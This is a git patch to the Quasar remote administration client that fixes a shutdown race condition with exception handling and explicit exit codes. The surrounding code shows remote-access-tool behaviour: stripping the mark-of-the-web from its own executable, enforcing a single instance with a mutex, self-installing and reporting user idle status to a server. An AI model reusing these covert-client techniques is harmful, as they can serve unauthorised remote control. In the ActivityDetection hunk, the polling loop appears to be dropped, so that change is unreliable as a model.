From 2dbf7fd8fa3abd428a22a7a7aaf293da3f42ae2c Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 8 Feb 2021 20:09:19 +0100 Subject: [PATCH] Fix race condition on shutdown Closes #923 --- Quasar.Client/Networking/QuasarClient.cs | 10 +++++++++- Quasar.Client/QuasarApplication.cs | 8 ++++---- Quasar.Client/User/ActivityDetection.cs | 9 ++++++--- 3 files changed, 19 insertions(+), 8 deletions(-) diff --git a/Quasar.Client/Networking/QuasarClient.cs b/Quasar.Client/Networking/QuasarClient.cs index 3eb2f42c..552df2b0 100644 --- a/Quasar.Client/Networking/QuasarClient.cs +++ b/Quasar.Client/Networking/QuasarClient.cs @@ -75,7 +75,15 @@ public void ConnectLoop() while (Connected) // hold client open { - _token.WaitHandle.WaitOne(1000); + try + { + _token.WaitHandle.WaitOne(1000); + } + catch (Exception e) when (e is NullReferenceException || e is ObjectDisposedException) + { + Disconnect(); + return; + } } if (_token.IsCancellationRequested) diff --git a/Quasar.Client/QuasarApplication.cs b/Quasar.Client/QuasarApplication.cs index ba575df7..b8507d1a 100644 --- a/Quasar.Client/QuasarApplication.cs +++ b/Quasar.Client/QuasarApplication.cs @@ -104,13 +104,13 @@ public void Run() { // decrypt and verify the settings if (!Settings.Initialize()) - Application.Exit(); + Environment.Exit(1); ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); // check if process with same mutex is already running on system if (!ApplicationMutex.CreatedNew) - Application.Exit(); + Environment.Exit(2); FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); @@ -124,7 +124,7 @@ public void Run() try { installer.Install(); - Application.Exit(); + Environment.Exit(3); } catch (Exception e) { @@ -165,7 +165,7 @@ public void Run() // Start connection loop on new thread and dispose application once client exits. // This is required to keep the UI thread responsive and run the message loop. _connectClient.ConnectLoop(); - Application.Exit(); + Environment.Exit(0); }).Start(); } } diff --git a/Quasar.Client/User/ActivityDetection.cs b/Quasar.Client/User/ActivityDetection.cs index eb232a19..c6865a1d 100644 --- a/Quasar.Client/User/ActivityDetection.cs +++ b/Quasar.Client/User/ActivityDetection.cs @@ -64,14 +64,14 @@ public void Start() /// private void UserActivityThread() { - while (!_token.WaitHandle.WaitOne(10)) + try { if (IsUserIdle()) { if (_lastUserStatus != UserStatus.Idle) { _lastUserStatus = UserStatus.Idle; - _client.Send(new SetUserStatus {Message = _lastUserStatus}); + _client.Send(new SetUserStatus { Message = _lastUserStatus }); } } else @@ -79,10 +79,13 @@ private void UserActivityThread() if (_lastUserStatus != UserStatus.Active) { _lastUserStatus = UserStatus.Active; - _client.Send(new SetUserStatus {Message = _lastUserStatus}); + _client.Send(new SetUserStatus { Message = _lastUserStatus }); } } } + catch (Exception e) when (e is NullReferenceException || e is ObjectDisposedException) + { + } } ///